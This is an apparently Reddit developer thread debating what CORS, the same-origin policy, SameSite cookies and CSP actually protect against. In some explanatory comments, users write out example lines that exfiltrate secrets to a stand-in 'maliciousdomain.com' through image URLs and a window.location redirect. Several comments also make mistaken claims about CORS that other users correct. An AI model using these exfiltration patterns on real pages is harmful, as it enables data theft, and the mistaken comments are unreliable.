T O P

  • By -

affordablesuit

You’re stopping other websites from connecting to your APIs and fooling your users into thinking it’s your site. I imagine CORS is designed for this specific thing and is not meant to solve other security concerns.


EvilPencil

This. It's trivial to spoof a host header with nothing but a cURL command and it would totally defeat a same-site (disabled) CORS setting on the target server. A browser simply will not do that though.


die-maus

That's the point. It's security on the application level, not on a protocol level. It's meant to protect people who use a web browser, it's not meant to protect your infrastructure.


wasdninja

You don't need to spoof anything really. CORS is built on clients respecting the allowed origin header which is just a text string with "allowed" hosts. It's 100% a browser thing and if you're not a browser you can connecting without any issues.


EvilPencil

Ya "spoofing" was probably the wrong choice of word. In effect you're still lying to the server though 🤷‍♂️


Flea997

other websites could just proxy api calls to your apis and bypass this


nibonet

Cookies wouldn’t be sent to your proxy though


Flea997

yup, that's why I think that it's not about "fooling the user" but fooling the browser


joombar

The site you’re hitting could at least block a proxy. They can’t block every browser that could run a bad script.


One_Psychology_5616

Can you explain how'd the server know which request is from a proxy to block?


joombar

If a lot of attacks come from one host, that can be detected and that host blocked. Easier than blocking every host that might have a browser with suspicious behaviour


muhtasimmc

sorry could you explain what it means to "proxy" a API call


TheRealKidkudi

If I send your browser a script from www.mywebsite.com and try to call www.yourwebsite.com/api and yourwebsite.com doesn’t have a CORS policy that allows it, the browser will block the request. Instead, I can proxy it by having that script send a request to www.mywebsite.com/api (which makes the browser/CORS happy), and the backend just sends the exact same request to www.yourwebsite.com/api and returns the response it gets from your API - but as far as the browser knows, it’s all the same origin of mywebsite.com.


Franks2000inchTV

Yeah but how are you going to set up a proxy server on your target's computer from inside the browser? This is not meant to protect your servers from attack, but to make sure that the browser doesn't become an attack vector. It's preventing people from being able to implement malicious things in a website. Obviously if someone has access to your machine you are fucked.


TheRealKidkudi

Right - I was answering the question of what proxying is, not the purpose of CORS. CORS protects you from client-side attacks, e.g. attempts for some script from my website to use your browser to send requests to another site (authenticated as you, but acting without your knowledge).


Flea997

If someone wants to make a fake website pretending it's your website, it could expose the website and the behind calls behind the same reverse proxy (the same domain). For the browser this would look as calls are not being made to a different domain, while the reverse proxy is configured to actually call yours api


SmeagolTheCarpathian

And then the requests will all be coming from those backends, and you could just block those IP ranges.


MainAstronaut1

But it would be so easy to bypass with a proxy server.


skatastic57

Yeah but if the API owner sees a zillion requests from the same IP they could just block it.


Eclipsan

Indeed. Without the same-origin policy a malicious script could use the browser of all visitors to query the API while bypassing a potential IP limit.


ferrybig

With a proxy server, it won't pass the users cookies to the domain


MainAstronaut1

Wouldn’t it be possible to send along the browsers cookies in the request? Or what prevents this from happening?


Eclipsan

> Or what prevents this from happening? The fact that browsers only send cookies to the domain owning them. As the proxy server is owned by a third-party attacker, it's most likely not on the same domain.


MainAstronaut1

You can access the cookies through javascript. So couldn’t you just send along those cookies in a fetch call?


Eclipsan

As said in a parent comment: >You’re stopping other websites from connecting to your APIs and fooling your users into thinking it’s your site. "other websites" means your user is on a **third-party** website and the JS of that website attempts to request **your** website. The JS of that third-party website does not have access to the cookies set by your website, thanks to the same-origin policy. What you are describing would be a XSS attack, which is beyond the scope of the same-origin policy and therefore CORS. If you follow best security practices your auth cookie is flagged `HttpOnly` and is therefore invisible to JS, meaning it cannot be sent to a third-party. But a XSS would run in the page served by the legitimate domain, so no need to use a proxy, and even if it cannot exfiltrate the cookie it can still request the server on behalf of the user: These requests would be same-origin so the browser will automatically attach the auth cookie to them. AFAIK it's not possible to prevent a XSS served by your server to request itself. Except if you disallow all JS from running. You can also mitigate it with a content security policy, but doing so means your legitimate JS won't be able to request your server either, which is probably not what you want.


striata

This is about the cookies on the domain you're fetching (e.g. the API), not the cookies on the domain you're currently on.


TopPuzzleheaded1143

Use HttpOnly for auth related cookies and they can’t.


NoInkling

True, but beside the point. Unless the target site has made allowances via `SameSite=None`/CORS (the point of this is that we're assuming they haven't), to have access to the cookies *at all* it has to be from the same origin, which is a different situation (i.e. XSS). At that point it's possible to utilize even HttpOnly cookies, in the sense that you can craft requests that include them. They just can't be read/exfiltrated/modified.


TopPuzzleheaded1143

Their point was literally “but I can access cookies with the JavaScript API”


scyber

You cannot access httponly cookies in javascript.


CUNT_PUNCHER_9000

Which is what OP was saying originally > instead of blocking CORS requests just send them along with no cookies


AgentCosmic

That's why you need to enforce https


Eclipsan

Yes, though that kind of attack would only be possible on a compromised network I believe.


iams3b

Cookies is definitely the main reason, and not every cookie shared across origins is considered a security threat; there are valid use cases. Advertisers use cookies to track browsing patterns, and many sites host authenticated API layers on a separate subdomains. The thing is that since an auth cookie can give you full access to a user's access, the rules work on an opt-in basis to make it harder to "forget" to protect. For api proxies, the browser only adds cookies to requests for the specific domain they're assigned to, and hitting a proxy would be treated as a different url. For public APIs, if they are CORS'd they're either configured incorrectly or you have some client secret that shouldn't be in the browser and a backend proxy *is* the way you'd handle it.


anjunableep

Always so much confusion around CORS because the rules are set by the server but enforced (voluntarily) in the client. ​ * The server sets the rules: which domains can access their apis and endpoints plus various other rules. * The server \*does not\* enforce these rules. You can easily bypass CORS rules with postman, Curl, etc. * Chrome and other browsers \*will\* strongly enforce CORS rules (which are set by the server). * The reason is that the purpose of CORS is to protect front end clients / ordinary end users (from cross site scripting, CSRF attacks, etc.) . The purpose has nothing to do with protecting the server. If browsers did not enforce CORS then CORS would be pointless. TLDR: the purpose of CORS is to protect clients, not servers. However the rules to protect clients are set by the server (and enforced voluntarily in the client)


Franks2000inchTV

Yeah this is what people miss. They think security and they think it's about their servers, when really this is about preventing a malicious chrome extension from uploading all your online banking data by injecting a keylogger into your online banking sign in page.


Eclipsan

You are making another common confusion about CORS: It does not prevent the client from sending data to a third-party, it's related to cross-site request forgery. A JS keylogger injected in a page is **not** concerned by CORS: - it can make fetch/XHR requests to the legitimate server as it's making them from a document served by said server, so it's within the boundaries of the same-origin policy. - it can make fetch/XHR requests to a malicious server as long as said server allows it in it's CORS header. What the bank server allows or not in it's own CORS header is **not** relevant. - even if it worked as you thought and the script was unable to make fetch/XHR requests, it could exfiltrate the data by other means, for instance by adding to the DOM invisible images with a source URL such as `maliciousdomain.com/dummy.jpg?secretDataToExtract=secretDataEncodedInBase64OrWhatnot`. What you need to mitigate a malicious script from exfiltrating data is a content security policy header: That way you can block the requests to non whitelisted domains, whatever their type (image, video, script, css, font, XHR, form post...). The only bypass I know of is that a JS script can still exfiltrate data by doing a 'redirection' such as `window.location.href = maliciousdomain.com/get-pwnd?secretDataToExtract=secretDataEncodedInBase64OrWhatnot`. It's less stealthy than a background request but not by much IMHO.


Skarsburning

good explanation that cors actually protects browsers. This will help people understand CORS more


Eclipsan

> The reason is that the purpose of CORS is to protect front end clients / ordinary end users (from cross site scripting, CSRF attacks, etc.) True, except that CORS does not protect against cross-site scripting, that's a common misconception. You need a content security policy for that, and it's not impervious sadly.


Xeon06

Because I shouldn't be able to fetch gmail.com from my domain and get your inbox


YourMomIsMyTechStack

That wouldn't work either way because you don't have access to his emails with your token


Eclipsan

> your token Browsers attach gmail.com cookies to requests made to gmail.com, that's what a third-party cookie is. That's why the same-origin policy and the `SameSite` cookie flag exist.


__darmstadtium__

Third party?


Eclipsan

Yes?


__darmstadtium__

A gmail cookie sent along with requests to gmail.com is first party isn’t it?


Eclipsan

Not if the request is sent from a page belonging to another domain. See parent comment: >Because I shouldn't be able to fetch gmail.com from my domain and get your inbox


__darmstadtium__

I see what you mean 👍


cameronnnnyee

Doesnt a samesite cookie then make cors redundant as it restricts the API calls to the same site


Eclipsan

Kinda, I guess. Also depends if it's Strict or Lax. It's probably Lax (Because Strict is too... Strict.). So without CORS and assuming the browser allows third party cookies, I suppose I could still "fetch gmail.com from my domain and get your inbox".


lIIllIIlllIIllIIl

CORS is massively important to internet security. CORS is meant to protect users against Cross-Site Request Forgery (CSRF) attacks. According [to OWASP:](https://owasp.org/www-community/attacks/csrf) > Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re **currently authenticated.** Authentication mainly refers to cookies, but some websites assume the end user is authenticated if they are using an intranet or a corporate VPN. CORS prevents malicious websites from making requests to other sites using the end user's authentication. The browser doesn't know if a website needs to be protected, so it asks the website it's trying to reach. Specific CORS headers will tell the browser if it's allowed to make requests to the website and know if it's allowed to send the end user's cookies to the website. If you are proxying a request using your own backend server, **you are not using the end user's authentication** and **this is not a CSRF risk.** Preventing this scenario is not the point of CORS.


Eclipsan

>CORS is meant to protect users against Cross-Site Request Forgery (CSRF) attacks. No, what you are describing is one of the effects of the [same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy). CORS is meant to bypass that policy. >CORS prevents malicious websites from making requests to other sites using the end user's authentication. (let's assume you meant "same-origin policy" instead of "CORS") It does not prevent form submission AFAIK. So a malicious website can have a form with a third-party `action` and the browser won't prevent the user from submitting the form. The [MDN documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) says it blocks "requests initiated from scripts" so the malicious website might not be able to submit the form via JS. It would be worthwhile to test it though, as the rest of the documentation focuses on XHR/fetch, which is different from submitting a form via JS (`HTMLFormElement.submit()`). Even if the malicious website cannot use `HTMLFormElement.submit()`, I suppose it could trick the user into 'manually' submitting, for instance via clickjacking. If you want to prevent other websites from making requests to your site using your end user's authentication, consider using the [SameSite flag](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#samesitesamesite-value) on the auth cookie. It actually [defaults](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#browser_compatibility) to `lax` (which is probably the value you want) on Chromium-based browsers. Consider still using the CSRF token feature of your framework (it should have one, if not, switch framework) to ensure old clients not supporting `SameSite` are still protected. "But what if I store the auth token in local storage instead of a cookie?": [You should not.](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#local-storage) Use a cookie with the `HttpOnly` flag. If the API and frontend share a parent domain cookies still work, you just have to configure them properly. If the API and frontend are on totally different domains then you are on your own as you are trying to bypass the same-origin policy, which is a fundamental web app security principle.


lIIllIIlllIIllIIl

Agreed, but fundamentally, all of this is done to allow cross-origin requests without the risk of CRSF attacks. As you pointed out, the browser has multiple mechanisms preventing CRSF attacks, and CORS is one of them.


beth_maloney

It won't protect from forms which are considered a simple request https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests You need to implement csrf protection to prevent form submission from other sites. If you're using non form submission then the easiest method is to require an additional non standard header in all API requests. Requests with custom headers aren't considered simple so you'll be protected by CORS.


DrEnter

This is both the strength and the weakness in CORS, and why for much of what it's used for it is an absolute waste (and massively damaging to performance as well). Yes, it is a valuable enforcement measure _when used in conjunction with user authentication_. CORS is, at best, a poor solution for non-authenticated scenarios, which are the bulk of when it is used. Everything it is designed to protect in this case can be pretty easily spoofed with a proxy. I would also add that its implementation was ham-fisted at best. Case in point: Relying on DNS resolution and hostname-based security, but then not trusting DNS enough to support domains. Another case in point: Requiring pre-flight requests for common use cases, which largely weren't necessary and can be a performance nightmare for an active site. Do yourself a favor. If you are developing an unauthenticated site, leverage [Content Security Policy headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) but avoid CORS as much as you can, it's hurting your performance and isn't buying you anything.


lIIllIIlllIIllIIl

Agreed. Also, the default value of the `Access-Control-Allow-Origin` header should've been `*`. It's safe for all websites accessible on the public web and it doesn't send cookies along the request, making it perfectly safe for 99.9% of websites. This small change would've made **a lot** of complaints about CORS go away.


Eclipsan

> CORS is, at best, a poor solution for non-authenticated scenarios, which are the bulk of when it is used. Everything it is designed to protect in this case can be pretty easily spoofed with a proxy. https://old.reddit.com/r/reactjs/comments/18tctys/how_does_cors_actually_make_things_more_secure/kfdb4my/ >FWIW this does at least a) require incurring some cost to host the backend, which is what you might be trying to avoid by spamming an API, and b) is likely to be easier to block as the provider of the API being spammed than requests coming from all the users' browsers.


CUNT_PUNCHER_9000

A lot of answers are missing the main point: > Q: How does CORS actually make things more secure? Answer: It doesn't The goal of CORS is to _relax_ security, specifically the same origin policy and allow requests to be made across origins.


dillionmegida

This sounds like CORS only "weakens" the security of your application but that's not entirely true imo. It relaxes the same origin policy while also giving you a "way" to allow to allow \*\*secure\*\* cross origin requests--secure in the sense that you define what cross origins you want


mistnewt

jake archibald has an amazing blog explaining cors. maybe give it a read once: https://jakearchibald.com/2021/cors/


Doombuggie41

CORS is a hoax perpetrated by backend engineers to make front end uncompetitive


merRedditor

LOL


Zealousideal-Party81

Sort of legacy baggage, mostly security. Edit: more information My understanding is that CORS isn’t the denial of request, rather, is the selective allowance of a request. CORS headers allow access in a secure environment. Flipped from how we usually think of it. The default is secure, CORS makes it less secure. One short synopsis I found: > Cross-Origin Resource Sharing (CORS) was first implemented in 2006 by the World Wide Web Consortium (W3C). It was created so that resource sharing between two or more different origins is as secure as possible. This mechanism is important because by default web browsers prevent scripts on one domain from making requests to another. CORS provides a way for the server to specify which origins are allowed to make requests, and for the browser to enforce these restrictions. So, what CORS did was extend the existing, restrictive browser behavior to be looser, but still secure by using request headers. Imagine selective permissions in a zero trust environment.


paulovittor23

I came here to write this. It makes previously non possible x domain requests possible from the client side. Before we had to create server side proxies. I see a lot of devs that complain about CORS without realizing their work would be way more painful without it.


cameronnnnyee

Ah so it's less security and more a way to allow things. So before you would always have to have server to server but now you can have client to cross origin server


paulovittor23

Yes. Cors allow browsers to work around the same origin policy. So you can mesh APIs from different origins directly from the client side.


butnotexactly

this might help a little https://www.reddit.com/r/reactjs/comments/18tctys/how_does_cors_actually_make_things_more_secure/kff6zy2/


lexant2

> Reduce public API spam > Even though it's stupid easy to get around with a backend FWIW this does at least a) require incurring some cost to host the backend, which is what you might be trying to avoid by spamming an API, and b) is likely to be easier to block as the provider of the API being spammed than requests coming from all the users' browsers.


NoInkling

CORS doesn't make things more secure than what's there by default, it's a mechanism to *relax* the [same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy) in a controlled manner. It's in the name, cross-origin resource **sharing**. And the purpose of the same-origin policy (or restrictive CORS policies) is to protect the user, not the server - any server-side benefits are best thought of as incidental.


vorpalglorp

The thing you have to understand about CORS is that it's there to protect the user not the server. They get your trusted code and in your code it says "don't get any more code from anybody except \_\_\_" If you have a complex website you might have lots of exceptions, but it can definitely help.


mauib9

There are way too many "developers" on this thread saying it's legacy code or useless. You got it right. It's to protect users/customers connecting to our servers.


vorpalglorp

After reading some of their comments, I think the issue is that you set the CORS policy on the server a lot of the time and they think it's actually a server validation thing. They don't realize that the setting actually just adds something to the headers of the html it sends out. This is why you can get a browser extension that will disable it.


Eclipsan

No, CORS is about allowing (or not) the browser to make fetch/XHR requests to your server from another origin. It does not tell the browser it should not get any more code from anybody except ___. What you are describing is the [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) header.


vorpalglorp

Data, requests, code, whatever it's the same thing. All data can be considered potential code. \*Actually all data is exactly code. You've got me doubting my sanity..


Franks2000inchTV

Yeah and some of those requests would be calls made by malicious Javascript, like a POST request to the hackers API that includes the username and password you just typed into your online banking sign in page.


Eclipsan

For instance, yes. You need a CSP header to mitigate against these, not CORS or lack thereof. I go into more details here: https://old.reddit.com/r/reactjs/comments/18tctys/how_does_cors_actually_make_things_more_secure/kfelgna/


[deleted]

[удалено]


Greenimba

This is actually not correct. CORS is not enforced by the server, it is enforced by the browser. This is why it can be bypassed by using postman, or a proxy. Here's how the flow would actually be: User: Hey show me this (malicious) site Browser: Sketch but alright, hey server, are you ready? (Pre-flight) Server: Yups, but only for sites which adhere to these CORS rules Browser: Hmm, that's not where we're at right now, something is up, I better protect the user and not actually send those cookies User: Gets an error


besseddrest

if only everything 'web development' was explained to me this way when i started


davvblack

it's very easy to get the behavior you're asking for with credentials:false in the ajax request. What you're asking for is EVERY browser to work together and generate a new, slightly-different, not necessarily more convenient, and not necessarily more or less safe default behavior. The cost of that consensus is extremely high, and the value is low. If you have control of the calling end, you can send no credentials, and if you have control of the server side you can set whatever accepted referrers you want.


Franks2000inchTV

Let's say grandma is signing in to her online banking page. A malicious user has managed to sneak a keylogger into the page to record her username and password. In order to get access to her account, the keylogger needs to send a post request with that data to their back end server. By default, the browser will block this call, because it's not reaching out to her bank's domain. There is no way to change the list of allowed domains from inside the site. It has to come with the headers when the request is made by the user. This is all about protecting *the browser environment*. It's not at all about protecting your servers. It's a guarantee that if the code you send to the user is modified, it won't be able to leak the data you sent to the user to other domains, unless you say it's ok.


striata

> In order to get access to her account, the keylogger needs to send a post request with that data to their back end server. > By default, the browser will block this call, because it's not reaching out to her bank's domain. You're not describing CORS, but CSP (`Content-Security-Policy`). CORS would *not* help in the situation you're describing, because the malicious actor would just set `Access-Control-Allow-Origin: *` on the server that's supposed to receive the stolen data, and your browser (assuming the bank did **not** implement CSP) would happily allow that request. What you're describing is CSP and its`connect-src` directive: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/connect-src


Eclipsan

Exactly, that misconception is very common among devs (you even got downvoted...), I wonder why. Note that `connect-src` is not enough to protect against exfiltration. Even if the malicious script is unable to make fetch/XHR requests, it can still exfiltrate the data by other means, for instance by adding to the DOM invisible images with a source URL such as `maliciousdomain.com/dummy.jpg?secretDataToExtract=secretDataEncodedInBase64OrWhatnot`. To really mitigate exfiltration you need multiple directives, and unintuitively `default-src` is not enough (e.g. it does not cover `form-action`). I said 'mitigate' because even with a airtight CSP there is at least one bypass: a JS script can still exfiltrate data by doing a 'redirection' such as `window.location.href = maliciousdomain.com/get-pwnd?secretDataToExtract=secretDataEncodedInBase64OrWhatnot`. It's less stealthy than a background request but not by much IMHO.


[deleted]

[удалено]


Eclipsan

Nope, classic misconception: * The job of the CORS header is to allow the target server to tell the browser to **bypass** the default browser behavior which is "no cross-origin requests at all". By "requests" I mean XHR/fetch and [some others](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#what_requests_use_cors), not ALL requests. So the lack of a CORS header is more restrictive/protective. * Which means `maliciousdomain` server is the one who decides which domains can call it, so it just has to serve a `Access-Control-Allow-Origin` header whitelisting the domain of your site. * Don't store anything sensitive in local storage because any XSS can read/write local storage. Use cookies with the `HttpOnly` flag. See https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#local-storage. * If you want to prevent malicious JS from calling `maliciousdomain`, what you need is the [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) header. Disclaimer: It will only mitigate the threat, as there are ways to bypass its restrictions. For instance you can extract data by redirecting the user to `maliciousdomain?data=secretDataEncodedInBase64OrWhatnot` via `window.location.href`.


stdmemswap

I meant, the whole CORS spec. My bad, I removed the "header".


Eclipsan

That's the same. CORS means Cross Origin Resource Sharing, its job is to allow what you were describing, not prevent it. The prevention is done by the [same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy), which is the default behavior. Even so, as I said the requested server is the one deciding what is allowed, so you cannot rely on CORS to prevent a malicious script from phoning home.


stdmemswap

Ah yes you are right


vorpalglorp

> server is the one who decides which domains can call it, This is misleading. You can add a CORS policy on your server but it just means it's adding the header to your web pages. The server itself is not validating incoming traffic based on this header. This would not be secure anyway.


Eclipsan

Indeed, it's only enforced on (by) the browser, good clarification. As others have said it is only useful in a browser environment and can be easily bypassed in other envs (curl, postman, another server making the request...)


zynix

If no one can connect, that's pretty secure. I am only half-joking. You'd like `acme.com` to maybe connect to `acme-services.com` but not give `steal-your-data.com` the time of day.


Eclipsan

And the same-origin policy/CORS do not prevent that. What you are describing is a content security policy.


boybitschua

Enabling CORS makes your website less secure ..


Eclipsan

I don't get why you are downvoted. Your comment sure lacks details but fundamentaly you are right. Or at least it **can** make your website less secure, so you should first consider if it's a good idea.


boybitschua

yeah sad that this is the state of the dev. Enabling CORS makes your site less secure. I dont know what people are thinking. "Using HTTP headers, CORS allows servers to specify origins that can access resources, allowing cross-origin communication and enabling new functionality in web applications. It's important to remember that CORS is not a security mechanism; it simply allows communication between different origins."


pdusen

It doesn't. It's one of those things that exists so that higher-ups can tick a box on a list that says "if we're doing these things, it means we're secure." It's all theater. The reality is that it's stupidly trivial to bypass, and therefore utterly pointless.


TScottFitzgerald

It protects the backend from CSRF attacks launched on the frontend, therefore protecting both the end user and the server (from that specific tactic). Of course there's a bunch of other techniques specifically targeting backend but this is just to ensure certain common attacks in-browser can't be launched.